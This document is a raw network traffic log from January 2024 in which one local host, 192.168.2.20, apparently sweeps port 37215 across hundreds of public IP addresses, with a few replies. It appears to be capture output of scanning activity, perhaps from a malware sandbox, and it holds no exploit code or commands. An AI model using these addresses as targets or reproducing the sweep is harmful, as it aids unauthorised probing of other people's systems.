Jan 22, 2024 03:59:29.177309990 CET	58015	37215	192.168.2.20	156.175.240.138
Jan 22, 2024 03:59:29.177333117 CET	58015	37215	192.168.2.20	45.14.89.219
Jan 22, 2024 03:59:29.177357912 CET	58015	37215	192.168.2.20	138.137.168.69
Jan 22, 2024 03:59:29.177366018 CET	58015	37215	192.168.2.20	94.46.187.171
Jan 22, 2024 03:59:29.177372932 CET	58015	37215	192.168.2.20	122.123.172.71
Jan 22, 2024 03:59:29.177400112 CET	58015	37215	192.168.2.20	41.0.132.76
Jan 22, 2024 03:59:29.177417994 CET	58015	37215	192.168.2.20	181.193.189.120
Jan 22, 2024 03:59:29.177432060 CET	58015	37215	192.168.2.20	95.99.245.255
Jan 22, 2024 03:59:29.177450895 CET	58015	37215	192.168.2.20	156.240.232.152
Jan 22, 2024 03:59:29.177459955 CET	58015	37215	192.168.2.20	197.74.153.93
Jan 22, 2024 03:59:29.177484989 CET	58015	37215	192.168.2.20	197.152.164.13
Jan 22, 2024 03:59:29.177496910 CET	58015	37215	192.168.2.20	41.251.37.152
Jan 22, 2024 03:59:29.177510023 CET	58015	37215	192.168.2.20	156.110.166.115
Jan 22, 2024 03:59:29.177531004 CET	58015	37215	192.168.2.20	222.219.7.103
Jan 22, 2024 03:59:29.177548885 CET	58015	37215	192.168.2.20	156.197.195.148
Jan 22, 2024 03:59:29.177557945 CET	58015	37215	192.168.2.20	197.21.132.255
Jan 22, 2024 03:59:29.177576065 CET	58015	37215	192.168.2.20	37.34.202.234
Jan 22, 2024 03:59:29.177598000 CET	58015	37215	192.168.2.20	197.47.72.76
Jan 22, 2024 03:59:29.177622080 CET	58015	37215	192.168.2.20	122.161.155.84
Jan 22, 2024 03:59:29.177632093 CET	58015	37215	192.168.2.20	37.1.69.237
Jan 22, 2024 03:59:29.177639008 CET	58015	37215	192.168.2.20	160.108.68.123
Jan 22, 2024 03:59:29.177664042 CET	58015	37215	192.168.2.20	160.174.145.130
Jan 22, 2024 03:59:29.177680969 CET	58015	37215	192.168.2.20	156.164.127.119
Jan 22, 2024 03:59:29.177690983 CET	58015	37215	192.168.2.20	196.116.165.1
Jan 22, 2024 03:59:29.177704096 CET	58015	37215	192.168.2.20	160.93.70.33
Jan 22, 2024 03:59:29.177732944 CET	58015	37215	192.168.2.20	45.32.66.211
Jan 22, 2024 03:59:29.177741051 CET	58015	37215	192.168.2.20	181.246.111.182
Jan 22, 2024 03:59:29.177762032 CET	58015	37215	192.168.2.20	181.220.37.157
Jan 22, 2024 03:59:29.177773952 CET	58015	37215	192.168.2.20	94.212.154.37
Jan 22, 2024 03:59:29.177787066 CET	58015	37215	192.168.2.20	156.29.6.223
Jan 22, 2024 03:59:29.177814007 CET	58015	37215	192.168.2.20	41.100.201.209
Jan 22, 2024 03:59:29.177836895 CET	58015	37215	192.168.2.20	197.33.243.47
Jan 22, 2024 03:59:29.177848101 CET	58015	37215	192.168.2.20	156.61.152.139
Jan 22, 2024 03:59:29.177865028 CET	58015	37215	192.168.2.20	156.6.215.39
Jan 22, 2024 03:59:29.177901983 CET	58015	37215	192.168.2.20	41.138.235.87
Jan 22, 2024 03:59:29.177901983 CET	58015	37215	192.168.2.20	41.181.20.125
Jan 22, 2024 03:59:29.177915096 CET	58015	37215	192.168.2.20	41.240.72.199
Jan 22, 2024 03:59:29.177925110 CET	58015	37215	192.168.2.20	156.171.218.64
Jan 22, 2024 03:59:29.177957058 CET	58015	37215	192.168.2.20	197.163.68.163
Jan 22, 2024 03:59:29.177957058 CET	58015	37215	192.168.2.20	156.67.108.11
Jan 22, 2024 03:59:29.177979946 CET	58015	37215	192.168.2.20	156.27.219.124
Jan 22, 2024 03:59:29.177994967 CET	58015	37215	192.168.2.20	190.163.20.51
Jan 22, 2024 03:59:29.178005934 CET	58015	37215	192.168.2.20	181.168.20.19
Jan 22, 2024 03:59:29.178030014 CET	58015	37215	192.168.2.20	156.149.125.101
Jan 22, 2024 03:59:29.178045988 CET	58015	37215	192.168.2.20	197.115.96.191
Jan 22, 2024 03:59:29.178055048 CET	58015	37215	192.168.2.20	197.248.174.53
Jan 22, 2024 03:59:29.178076029 CET	58015	37215	192.168.2.20	197.85.11.147
Jan 22, 2024 03:59:29.178093910 CET	58015	37215	192.168.2.20	197.15.32.255
Jan 22, 2024 03:59:29.178112030 CET	58015	37215	192.168.2.20	41.128.240.159
Jan 22, 2024 03:59:29.178128958 CET	58015	37215	192.168.2.20	41.34.216.72
Jan 22, 2024 03:59:29.178139925 CET	58015	37215	192.168.2.20	222.213.60.183
Jan 22, 2024 03:59:29.178159952 CET	58015	37215	192.168.2.20	107.111.32.149
Jan 22, 2024 03:59:29.178169966 CET	58015	37215	192.168.2.20	156.113.218.55
Jan 22, 2024 03:59:29.178189993 CET	58015	37215	192.168.2.20	41.105.99.121
Jan 22, 2024 03:59:29.178227901 CET	58015	37215	192.168.2.20	186.59.31.55
Jan 22, 2024 03:59:29.178235054 CET	58015	37215	192.168.2.20	156.115.209.119
Jan 22, 2024 03:59:29.178235054 CET	58015	37215	192.168.2.20	154.218.16.133
Jan 22, 2024 03:59:29.178276062 CET	58015	37215	192.168.2.20	197.244.58.223
Jan 22, 2024 03:59:29.178325891 CET	44842	37215	192.168.2.20	156.73.83.209
Jan 22, 2024 03:59:29.178478956 CET	49322	37215	192.168.2.20	41.90.220.51
Jan 22, 2024 03:59:29.306608915 CET	37215	58015	156.73.90.218	192.168.2.20
Jan 22, 2024 03:59:29.306962967 CET	58015	37215	192.168.2.20	156.73.90.218
Jan 22, 2024 03:59:29.307363987 CET	37215	58015	156.73.164.105	192.168.2.20
Jan 22, 2024 03:59:29.307431936 CET	58015	37215	192.168.2.20	156.73.164.105
Jan 22, 2024 03:59:29.367247105 CET	37215	58015	45.14.182.249	192.168.2.20
Jan 22, 2024 03:59:29.396203041 CET	37215	58015	156.245.8.32	192.168.2.20
Jan 22, 2024 03:59:29.414518118 CET	37215	58015	95.12.25.79	192.168.2.20
Jan 22, 2024 03:59:29.439830065 CET	37215	58015	41.37.190.203	192.168.2.20
Jan 22, 2024 03:59:29.456553936 CET	33970	37215	192.168.2.20	156.224.10.150
Jan 22, 2024 03:59:29.518546104 CET	37215	58015	197.248.229.91	192.168.2.20
Jan 22, 2024 03:59:29.526537895 CET	37215	58015	120.46.225.122	192.168.2.20
Jan 22, 2024 03:59:29.528877974 CET	37215	58015	156.250.182.30	192.168.2.20
Jan 22, 2024 03:59:29.541104078 CET	37215	58015	196.44.184.61	192.168.2.20
Jan 22, 2024 03:59:29.550008059 CET	37215	58015	41.216.228.212	192.168.2.20
Jan 22, 2024 03:59:29.582835913 CET	37215	58015	121.141.114.32	192.168.2.20
Jan 22, 2024 03:59:29.588005066 CET	37215	58015	156.252.13.29	192.168.2.20
Jan 22, 2024 03:59:29.594233036 CET	37215	58015	222.213.60.183	192.168.2.20
Jan 22, 2024 03:59:30.176532984 CET	44842	37215	192.168.2.20	156.73.83.209
Jan 22, 2024 03:59:30.176661968 CET	49322	37215	192.168.2.20	41.90.220.51
Jan 22, 2024 03:59:30.179883003 CET	58015	37215	192.168.2.20	154.71.20.207
Jan 22, 2024 03:59:30.180035114 CET	58015	37215	192.168.2.20	94.136.251.168
Jan 22, 2024 03:59:30.180068970 CET	58015	37215	192.168.2.20	222.143.191.158
Jan 22, 2024 03:59:30.180073023 CET	58015	37215	192.168.2.20	41.239.195.231
Jan 22, 2024 03:59:30.180068970 CET	58015	37215	192.168.2.20	41.89.178.222
Jan 22, 2024 03:59:30.180094004 CET	58015	37215	192.168.2.20	94.43.78.141
Jan 22, 2024 03:59:30.180109024 CET	58015	37215	192.168.2.20	190.206.116.74
Jan 22, 2024 03:59:30.180202007 CET	58015	37215	192.168.2.20	156.69.75.102
Jan 22, 2024 03:59:30.180208921 CET	58015	37215	192.168.2.20	197.243.236.110
Jan 22, 2024 03:59:30.180242062 CET	58015	37215	192.168.2.20	186.80.16.243
Jan 22, 2024 03:59:30.180289984 CET	58015	37215	192.168.2.20	197.84.162.36
Jan 22, 2024 03:59:30.180293083 CET	58015	37215	192.168.2.20	138.139.111.107
Jan 22, 2024 03:59:30.180381060 CET	58015	37215	192.168.2.20	156.172.6.213
Jan 22, 2024 03:59:30.180447102 CET	58015	37215	192.168.2.20	197.85.160.198
Jan 22, 2024 03:59:30.180448055 CET	58015	37215	192.168.2.20	197.251.52.237
Jan 22, 2024 03:59:30.180484056 CET	58015	37215	192.168.2.20	121.106.2.157
Jan 22, 2024 03:59:30.180524111 CET	58015	37215	192.168.2.20	197.162.62.144
Jan 22, 2024 03:59:30.180557013 CET	58015	37215	192.168.2.20	197.183.105.101
Jan 22, 2024 03:59:30.180653095 CET	58015	37215	192.168.2.20	41.234.240.75
Jan 22, 2024 03:59:30.180721045 CET	58015	37215	192.168.2.20	222.216.114.47
Jan 22, 2024 03:59:30.180756092 CET	58015	37215	192.168.2.20	154.179.110.248
Jan 22, 2024 03:59:30.180756092 CET	58015	37215	192.168.2.20	41.249.176.58
Jan 22, 2024 03:59:30.180777073 CET	58015	37215	192.168.2.20	41.99.150.102
Jan 22, 2024 03:59:30.180835962 CET	58015	37215	192.168.2.20	41.21.235.187
Jan 22, 2024 03:59:30.180835962 CET	58015	37215	192.168.2.20	156.46.206.138
Jan 22, 2024 03:59:30.180852890 CET	58015	37215	192.168.2.20	197.204.137.78
Jan 22, 2024 03:59:30.180890083 CET	58015	37215	192.168.2.20	154.155.135.181
Jan 22, 2024 03:59:30.180915117 CET	58015	37215	192.168.2.20	41.71.116.48
Jan 22, 2024 03:59:30.180919886 CET	58015	37215	192.168.2.20	156.56.23.154
Jan 22, 2024 03:59:30.180958986 CET	58015	37215	192.168.2.20	154.12.77.171
Jan 22, 2024 03:59:30.181024075 CET	58015	37215	192.168.2.20	41.134.250.208
Jan 22, 2024 03:59:30.181050062 CET	58015	37215	192.168.2.20	156.82.239.204
Jan 22, 2024 03:59:30.181082964 CET	58015	37215	192.168.2.20	41.106.255.51
Jan 22, 2024 03:59:30.181102037 CET	58015	37215	192.168.2.20	41.240.184.38
Jan 22, 2024 03:59:30.181098938 CET	58015	37215	192.168.2.20	156.228.16.211
Jan 22, 2024 03:59:30.181098938 CET	58015	37215	192.168.2.20	197.26.5.60
Jan 22, 2024 03:59:30.181164980 CET	58015	37215	192.168.2.20	222.42.159.73
Jan 22, 2024 03:59:30.181189060 CET	58015	37215	192.168.2.20	181.137.221.136
Jan 22, 2024 03:59:30.181236029 CET	58015	37215	192.168.2.20	95.146.245.220
Jan 22, 2024 03:59:30.181252956 CET	58015	37215	192.168.2.20	138.106.239.28
Jan 22, 2024 03:59:30.181248903 CET	58015	37215	192.168.2.20	197.253.139.156
Jan 22, 2024 03:59:30.181291103 CET	58015	37215	192.168.2.20	197.230.125.135
Jan 22, 2024 03:59:30.181328058 CET	58015	37215	192.168.2.20	196.112.83.17
Jan 22, 2024 03:59:30.181337118 CET	58015	37215	192.168.2.20	157.98.198.154
Jan 22, 2024 03:59:30.181361914 CET	58015	37215	192.168.2.20	41.121.251.112
Jan 22, 2024 03:59:30.181386948 CET	58015	37215	192.168.2.20	41.0.217.26
Jan 22, 2024 03:59:30.181415081 CET	58015	37215	192.168.2.20	156.4.140.65
Jan 22, 2024 03:59:30.181446075 CET	58015	37215	192.168.2.20	197.101.163.27
Jan 22, 2024 03:59:30.181473970 CET	58015	37215	192.168.2.20	41.194.117.133
Jan 22, 2024 03:59:30.181513071 CET	58015	37215	192.168.2.20	197.164.106.68
Jan 22, 2024 03:59:30.181575060 CET	58015	37215	192.168.2.20	92.134.198.227
Jan 22, 2024 03:59:30.181598902 CET	58015	37215	192.168.2.20	156.193.210.172
Jan 22, 2024 03:59:30.181626081 CET	58015	37215	192.168.2.20	122.19.58.119
Jan 22, 2024 03:59:30.181652069 CET	58015	37215	192.168.2.20	41.137.176.101
Jan 22, 2024 03:59:30.181679964 CET	58015	37215	192.168.2.20	156.75.199.19
Jan 22, 2024 03:59:30.181701899 CET	58015	37215	192.168.2.20	156.154.157.142
Jan 22, 2024 03:59:30.181725025 CET	58015	37215	192.168.2.20	41.223.215.16
Jan 22, 2024 03:59:30.181732893 CET	58015	37215	192.168.2.20	156.159.134.30
Jan 22, 2024 03:59:30.181761026 CET	58015	37215	192.168.2.20	154.167.8.129
Jan 22, 2024 03:59:30.181798935 CET	58015	37215	192.168.2.20	156.168.176.148
Jan 22, 2024 03:59:30.181817055 CET	58015	37215	192.168.2.20	156.180.185.192
Jan 22, 2024 03:59:30.181850910 CET	58015	37215	192.168.2.20	41.245.176.56
Jan 22, 2024 03:59:30.181879997 CET	58015	37215	192.168.2.20	41.105.221.80
Jan 22, 2024 03:59:30.181900024 CET	58015	37215	192.168.2.20	156.95.173.211
Jan 22, 2024 03:59:30.181948900 CET	58015	37215	192.168.2.20	156.109.177.4
Jan 22, 2024 03:59:30.182015896 CET	58015	37215	192.168.2.20	186.139.172.240
Jan 22, 2024 03:59:30.182024956 CET	58015	37215	192.168.2.20	121.52.148.194
Jan 22, 2024 03:59:30.182030916 CET	58015	37215	192.168.2.20	197.210.163.144
Jan 22, 2024 03:59:30.182065964 CET	58015	37215	192.168.2.20	197.106.179.92
Jan 22, 2024 03:59:30.182085037 CET	58015	37215	192.168.2.20	186.143.83.23
Jan 22, 2024 03:59:30.182117939 CET	58015	37215	192.168.2.20	41.73.20.240
Jan 22, 2024 03:59:30.182148933 CET	58015	37215	192.168.2.20	41.45.229.41
Jan 22, 2024 03:59:30.182173014 CET	58015	37215	192.168.2.20	197.70.58.105
Jan 22, 2024 03:59:30.182195902 CET	58015	37215	192.168.2.20	160.152.136.81
Jan 22, 2024 03:59:30.182226896 CET	58015	37215	192.168.2.20	197.219.244.225
Jan 22, 2024 03:59:30.182255030 CET	58015	37215	192.168.2.20	160.65.212.103
Jan 22, 2024 03:59:30.182298899 CET	58015	37215	192.168.2.20	41.159.113.165
Jan 22, 2024 03:59:30.182320118 CET	58015	37215	192.168.2.20	156.221.35.224
Jan 22, 2024 03:59:30.182344913 CET	58015	37215	192.168.2.20	156.211.54.149
Jan 22, 2024 03:59:30.182373047 CET	58015	37215	192.168.2.20	181.106.232.149
Jan 22, 2024 03:59:30.182393074 CET	58015	37215	192.168.2.20	41.161.190.64
Jan 22, 2024 03:59:30.182425022 CET	58015	37215	192.168.2.20	197.25.252.214
Jan 22, 2024 03:59:30.182444096 CET	58015	37215	192.168.2.20	197.94.15.75
Jan 22, 2024 03:59:30.182481050 CET	58015	37215	192.168.2.20	197.78.96.235
Jan 22, 2024 03:59:30.182507038 CET	58015	37215	192.168.2.20	41.176.80.167
Jan 22, 2024 03:59:30.182540894 CET	58015	37215	192.168.2.20	156.66.181.117
Jan 22, 2024 03:59:30.182560921 CET	58015	37215	192.168.2.20	197.83.255.243
Jan 22, 2024 03:59:30.182599068 CET	58015	37215	192.168.2.20	197.46.36.185
Jan 22, 2024 03:59:30.182621002 CET	58015	37215	192.168.2.20	156.72.147.99
Jan 22, 2024 03:59:30.182646036 CET	58015	37215	192.168.2.20	186.161.220.10
Jan 22, 2024 03:59:30.182682037 CET	58015	37215	192.168.2.20	181.105.81.147
Jan 22, 2024 03:59:30.182704926 CET	58015	37215	192.168.2.20	102.173.95.174
Jan 22, 2024 03:59:30.182733059 CET	58015	37215	192.168.2.20	156.107.202.120
Jan 22, 2024 03:59:30.182763100 CET	58015	37215	192.168.2.20	138.211.228.247
Jan 22, 2024 03:59:30.182776928 CET	58015	37215	192.168.2.20	197.232.13.22
Jan 22, 2024 03:59:30.182821035 CET	58015	37215	192.168.2.20	197.167.89.162
Jan 22, 2024 03:59:30.182851076 CET	58015	37215	192.168.2.20	41.173.63.95
Jan 22, 2024 03:59:30.182873964 CET	58015	37215	192.168.2.20	41.248.234.138
Jan 22, 2024 03:59:30.182905912 CET	58015	37215	192.168.2.20	94.184.229.170
Jan 22, 2024 03:59:30.182931900 CET	58015	37215	192.168.2.20	41.69.202.53
Jan 22, 2024 03:59:30.182955027 CET	58015	37215	192.168.2.20	197.243.80.51
Jan 22, 2024 03:59:30.182987928 CET	58015	37215	192.168.2.20	181.119.25.32
Jan 22, 2024 03:59:30.183026075 CET	58015	37215	192.168.2.20	37.3.212.27
Jan 22, 2024 03:59:30.183048964 CET	58015	37215	192.168.2.20	197.218.62.249
Jan 22, 2024 03:59:30.183078051 CET	58015	37215	192.168.2.20	37.0.159.5
Jan 22, 2024 03:59:30.183105946 CET	58015	37215	192.168.2.20	41.107.90.191
Jan 22, 2024 03:59:30.183135986 CET	58015	37215	192.168.2.20	156.188.198.140
Jan 22, 2024 03:59:30.183157921 CET	58015	37215	192.168.2.20	196.59.205.54
Jan 22, 2024 03:59:30.183186054 CET	58015	37215	192.168.2.20	186.231.127.147
Jan 22, 2024 03:59:30.183212996 CET	58015	37215	192.168.2.20	197.187.158.255
Jan 22, 2024 03:59:30.183245897 CET	58015	37215	192.168.2.20	41.78.85.31
Jan 22, 2024 03:59:30.183269024 CET	58015	37215	192.168.2.20	160.174.114.77
Jan 22, 2024 03:59:30.183305025 CET	58015	37215	192.168.2.20	181.98.68.74
Jan 22, 2024 03:59:30.183327913 CET	58015	37215	192.168.2.20	41.12.75.75
Jan 22, 2024 03:59:30.183356047 CET	58015	37215	192.168.2.20	41.109.195.85
Jan 22, 2024 03:59:30.183381081 CET	58015	37215	192.168.2.20	156.97.10.17
Jan 22, 2024 03:59:30.183403969 CET	58015	37215	192.168.2.20	156.251.13.185
Jan 22, 2024 03:59:30.183439016 CET	58015	37215	192.168.2.20	41.210.194.71
Jan 22, 2024 03:59:30.183470011 CET	58015	37215	192.168.2.20	41.66.147.250
Jan 22, 2024 03:59:30.183494091 CET	58015	37215	192.168.2.20	157.110.248.161
Jan 22, 2024 03:59:30.183517933 CET	58015	37215	192.168.2.20	160.151.213.91
Jan 22, 2024 03:59:30.183547974 CET	58015	37215	192.168.2.20	138.218.156.32
Jan 22, 2024 03:59:30.183572054 CET	58015	37215	192.168.2.20	102.72.122.164
Jan 22, 2024 03:59:30.183604002 CET	58015	37215	192.168.2.20	102.85.80.61
Jan 22, 2024 03:59:30.183631897 CET	58015	37215	192.168.2.20	41.176.198.240
Jan 22, 2024 03:59:30.183659077 CET	58015	37215	192.168.2.20	156.59.247.54
Jan 22, 2024 03:59:30.183686972 CET	58015	37215	192.168.2.20	197.161.213.203
Jan 22, 2024 03:59:30.183727980 CET	58015	37215	192.168.2.20	197.70.165.43
Jan 22, 2024 03:59:30.183809996 CET	58015	37215	192.168.2.20	156.152.114.226
Jan 22, 2024 03:59:30.183826923 CET	58015	37215	192.168.2.20	157.99.39.18
Jan 22, 2024 03:59:30.183835983 CET	58015	37215	192.168.2.20	197.193.248.86
Jan 22, 2024 03:59:30.183846951 CET	58015	37215	192.168.2.20	41.72.213.241
Jan 22, 2024 03:59:30.183872938 CET	58015	37215	192.168.2.20	196.170.109.162
Jan 22, 2024 03:59:30.183906078 CET	58015	37215	192.168.2.20	156.202.100.221
Jan 22, 2024 03:59:30.183939934 CET	58015	37215	192.168.2.20	197.243.184.13
Jan 22, 2024 03:59:30.183974981 CET	58015	37215	192.168.2.20	154.106.250.60
Jan 22, 2024 03:59:30.183990955 CET	58015	37215	192.168.2.20	94.229.115.199
Jan 22, 2024 03:59:30.184014082 CET	58015	37215	192.168.2.20	41.46.200.178
Jan 22, 2024 03:59:30.184043884 CET	58015	37215	192.168.2.20	41.47.154.102
Jan 22, 2024 03:59:30.184078932 CET	58015	37215	192.168.2.20	156.244.68.99
Jan 22, 2024 03:59:30.184106112 CET	58015	37215	192.168.2.20	41.123.151.108
Jan 22, 2024 03:59:30.184133053 CET	58015	37215	192.168.2.20	197.12.188.68
Jan 22, 2024 03:59:30.184165955 CET	58015	37215	192.168.2.20	41.183.202.68
Jan 22, 2024 03:59:30.184185982 CET	58015	37215	192.168.2.20	156.112.165.34
Jan 22, 2024 03:59:30.184212923 CET	58015	37215	192.168.2.20	122.49.53.166
Jan 22, 2024 03:59:30.184240103 CET	58015	37215	192.168.2.20	102.31.94.139
Jan 22, 2024 03:59:30.184272051 CET	58015	37215	192.168.2.20	181.144.20.145
Jan 22, 2024 03:59:30.184299946 CET	58015	37215	192.168.2.20	197.151.93.208
Jan 22, 2024 03:59:30.184322119 CET	58015	37215	192.168.2.20	107.100.184.74
Jan 22, 2024 03:59:30.184350014 CET	58015	37215	192.168.2.20	120.243.191.27
Jan 22, 2024 03:59:30.184381962 CET	58015	37215	192.168.2.20	41.144.150.55
Jan 22, 2024 03:59:30.184416056 CET	58015	37215	192.168.2.20	197.76.233.57
Jan 22, 2024 03:59:30.184448004 CET	58015	37215	192.168.2.20	41.146.63.224
Jan 22, 2024 03:59:30.184478998 CET	58015	37215	192.168.2.20	41.45.50.109
Jan 22, 2024 03:59:30.184504986 CET	58015	37215	192.168.2.20	41.197.94.217
Jan 22, 2024 03:59:30.184539080 CET	58015	37215	192.168.2.20	156.218.91.249
Jan 22, 2024 03:59:30.184566021 CET	58015	37215	192.168.2.20	186.225.239.36
Jan 22, 2024 03:59:30.184592962 CET	58015	37215	192.168.2.20	197.188.28.106
Jan 22, 2024 03:59:30.184633970 CET	58015	37215	192.168.2.20	197.20.184.167
Jan 22, 2024 03:59:30.184649944 CET	58015	37215	192.168.2.20	181.86.94.88
Jan 22, 2024 03:59:30.184670925 CET	58015	37215	192.168.2.20	160.45.197.50
Jan 22, 2024 03:59:30.184700012 CET	58015	37215	192.168.2.20	157.196.114.233
Jan 22, 2024 03:59:30.184737921 CET	58015	37215	192.168.2.20	156.95.117.229
Jan 22, 2024 03:59:30.184761047 CET	58015	37215	192.168.2.20	107.98.211.199
Jan 22, 2024 03:59:30.184791088 CET	58015	37215	192.168.2.20	197.19.251.130
Jan 22, 2024 03:59:30.184823990 CET	58015	37215	192.168.2.20	197.247.59.186
Jan 22, 2024 03:59:30.184848070 CET	58015	37215	192.168.2.20	41.58.115.51
Jan 22, 2024 03:59:30.184876919 CET	58015	37215	192.168.2.20	41.155.197.134
Jan 22, 2024 03:59:30.184897900 CET	58015	37215	192.168.2.20	197.76.116.222
Jan 22, 2024 03:59:30.184937000 CET	58015	37215	192.168.2.20	197.222.133.121
Jan 22, 2024 03:59:30.184966087 CET	58015	37215	192.168.2.20	156.46.61.67
Jan 22, 2024 03:59:30.185004950 CET	58015	37215	192.168.2.20	197.169.65.202
Jan 22, 2024 03:59:30.185024023 CET	58015	37215	192.168.2.20	197.33.78.36
Jan 22, 2024 03:59:30.185050964 CET	58015	37215	192.168.2.20	45.30.63.63
Jan 22, 2024 03:59:30.185077906 CET	58015	37215	192.168.2.20	197.254.243.8
Jan 22, 2024 03:59:30.185111046 CET	58015	37215	192.168.2.20	95.91.193.0
Jan 22, 2024 03:59:30.185146093 CET	58015	37215	192.168.2.20	102.13.83.133
Jan 22, 2024 03:59:30.185184956 CET	58015	37215	192.168.2.20	41.143.21.150
Jan 22, 2024 03:59:30.185206890 CET	58015	37215	192.168.2.20	156.235.108.151
Jan 22, 2024 03:59:30.185230970 CET	58015	37215	192.168.2.20	156.163.139.184
Jan 22, 2024 03:59:30.185251951 CET	58015	37215	192.168.2.20	197.193.162.59
Jan 22, 2024 03:59:30.185297012 CET	58015	37215	192.168.2.20	41.213.30.115
Jan 22, 2024 03:59:30.185312986 CET	58015	37215	192.168.2.20	156.224.215.135
Jan 22, 2024 03:59:30.185338020 CET	58015	37215	192.168.2.20	156.244.247.40
Jan 22, 2024 03:59:30.185360909 CET	58015	37215	192.168.2.20	156.70.218.92
Jan 22, 2024 03:59:30.185391903 CET	58015	37215	192.168.2.20	197.77.245.103
Jan 22, 2024 03:59:30.185421944 CET	58015	37215	192.168.2.20	120.156.31.121
Jan 22, 2024 03:59:30.185441971 CET	58015	37215	192.168.2.20	197.86.231.101
Jan 22, 2024 03:59:30.185473919 CET	58015	37215	192.168.2.20	41.149.186.215
Jan 22, 2024 03:59:30.185508013 CET	58015	37215	192.168.2.20	41.82.227.105
Jan 22, 2024 03:59:30.185544014 CET	58015	37215	192.168.2.20	156.231.179.164
Jan 22, 2024 03:59:30.185569048 CET	58015	37215	192.168.2.20	197.133.237.242
Jan 22, 2024 03:59:30.185599089 CET	58015	37215	192.168.2.20	156.2.123.36
Jan 22, 2024 03:59:30.185622931 CET	58015	37215	192.168.2.20	222.168.182.107
Jan 22, 2024 03:59:30.185657024 CET	58015	37215	192.168.2.20	197.245.168.59
Jan 22, 2024 03:59:30.185677052 CET	58015	37215	192.168.2.20	41.127.112.209
Jan 22, 2024 03:59:30.185713053 CET	58015	37215	192.168.2.20	156.191.36.233
Jan 22, 2024 03:59:30.185738087 CET	58015	37215	192.168.2.20	41.216.205.213
Jan 22, 2024 03:59:30.185767889 CET	58015	37215	192.168.2.20	197.240.218.157
Jan 22, 2024 03:59:30.185796022 CET	58015	37215	192.168.2.20	197.61.196.153
Jan 22, 2024 03:59:30.185826063 CET	58015	37215	192.168.2.20	157.142.104.21
Jan 22, 2024 03:59:30.185849905 CET	58015	37215	192.168.2.20	37.196.66.147
Jan 22, 2024 03:59:30.185882092 CET	58015	37215	192.168.2.20	186.89.161.158
Jan 22, 2024 03:59:30.185904980 CET	58015	37215	192.168.2.20	41.9.223.82
Jan 22, 2024 03:59:30.185940027 CET	58015	37215	192.168.2.20	197.243.84.252
Jan 22, 2024 03:59:30.185972929 CET	58015	37215	192.168.2.20	120.100.143.178
Jan 22, 2024 03:59:30.185996056 CET	58015	37215	192.168.2.20	121.138.231.17
Jan 22, 2024 03:59:30.186033010 CET	58015	37215	192.168.2.20	94.139.125.149
Jan 22, 2024 03:59:30.186060905 CET	58015	37215	192.168.2.20	157.157.190.51
Jan 22, 2024 03:59:30.186090946 CET	58015	37215	192.168.2.20	156.151.97.57
Jan 22, 2024 03:59:30.186121941 CET	58015	37215	192.168.2.20	156.49.39.156
Jan 22, 2024 03:59:30.186150074 CET	58015	37215	192.168.2.20	156.90.175.54
Jan 22, 2024 03:59:30.186177015 CET	58015	37215	192.168.2.20	156.178.145.150
Jan 22, 2024 03:59:30.186202049 CET	58015	37215	192.168.2.20	156.148.171.30
Jan 22, 2024 03:59:30.186233044 CET	58015	37215	192.168.2.20	197.55.245.239
Jan 22, 2024 03:59:30.186260939 CET	58015	37215	192.168.2.20	120.10.86.20
Jan 22, 2024 03:59:30.186294079 CET	58015	37215	192.168.2.20	156.58.63.100
Jan 22, 2024 03:59:30.186323881 CET	58015	37215	192.168.2.20	156.158.66.147
Jan 22, 2024 03:59:30.186347008 CET	58015	37215	192.168.2.20	41.13.3.71
Jan 22, 2024 03:59:30.186374903 CET	58015	37215	192.168.2.20	41.230.119.55
Jan 22, 2024 03:59:30.186403036 CET	58015	37215	192.168.2.20	197.60.109.63
Jan 22, 2024 03:59:30.186424971 CET	58015	37215	192.168.2.20	37.233.27.232
Jan 22, 2024 03:59:30.186455965 CET	58015	37215	192.168.2.20	41.136.249.221
Jan 22, 2024 03:59:30.186485052 CET	58015	37215	192.168.2.20	156.141.140.250
Jan 22, 2024 03:59:30.186506987 CET	58015	37215	192.168.2.20	41.83.59.150
Jan 22, 2024 03:59:30.186532974 CET	58015	37215	192.168.2.20	197.130.89.62
Jan 22, 2024 03:59:30.186573029 CET	58015	37215	192.168.2.20	95.184.126.164
Jan 22, 2024 03:59:30.186594963 CET	58015	37215	192.168.2.20	138.142.253.224
Jan 22, 2024 03:59:30.186619043 CET	58015	37215	192.168.2.20	41.72.135.160
Jan 22, 2024 03:59:30.186650038 CET	58015	37215	192.168.2.20	102.63.97.10
Jan 22, 2024 03:59:30.186682940 CET	58015	37215	192.168.2.20	156.71.149.6
Jan 22, 2024 03:59:30.186709881 CET	58015	37215	192.168.2.20	181.196.101.233
Jan 22, 2024 03:59:30.186737061 CET	58015	37215	192.168.2.20	156.65.199.130
Jan 22, 2024 03:59:30.186758041 CET	58015	37215	192.168.2.20	197.59.244.76
Jan 22, 2024 03:59:30.186794996 CET	58015	37215	192.168.2.20	41.178.255.243
Jan 22, 2024 03:59:30.186821938 CET	58015	37215	192.168.2.20	156.158.186.97
Jan 22, 2024 03:59:30.186846972 CET	58015	37215	192.168.2.20	197.42.127.86
Jan 22, 2024 03:59:30.186877012 CET	58015	37215	192.168.2.20	122.229.117.34
Jan 22, 2024 03:59:30.186912060 CET	58015	37215	192.168.2.20	197.52.28.31
Jan 22, 2024 03:59:30.186942101 CET	58015	37215	192.168.2.20	156.97.194.143
Jan 22, 2024 03:59:30.186966896 CET	58015	37215	192.168.2.20	156.227.136.215
Jan 22, 2024 03:59:30.186990023 CET	58015	37215	192.168.2.20	41.217.74.253
Jan 22, 2024 03:59:30.187019110 CET	58015	37215	192.168.2.20	156.131.156.138
Jan 22, 2024 03:59:30.187043905 CET	58015	37215	192.168.2.20	197.51.216.239
Jan 22, 2024 03:59:30.187072992 CET	58015	37215	192.168.2.20	197.45.243.215
Jan 22, 2024 03:59:30.187104940 CET	58015	37215	192.168.2.20	121.6.208.253
Jan 22, 2024 03:59:30.187129974 CET	58015	37215	192.168.2.20	138.245.197.213
Jan 22, 2024 03:59:30.187163115 CET	58015	37215	192.168.2.20	197.247.203.177
Jan 22, 2024 03:59:30.187189102 CET	58015	37215	192.168.2.20	41.54.203.63
Jan 22, 2024 03:59:30.187217951 CET	58015	37215	192.168.2.20	197.132.109.179
Jan 22, 2024 03:59:30.187237978 CET	58015	37215	192.168.2.20	197.168.90.87
Jan 22, 2024 03:59:30.187273026 CET	58015	37215	192.168.2.20	156.209.194.106
Jan 22, 2024 03:59:30.187314034 CET	58015	37215	192.168.2.20	121.80.49.246
Jan 22, 2024 03:59:30.187340975 CET	58015	37215	192.168.2.20	181.208.90.25
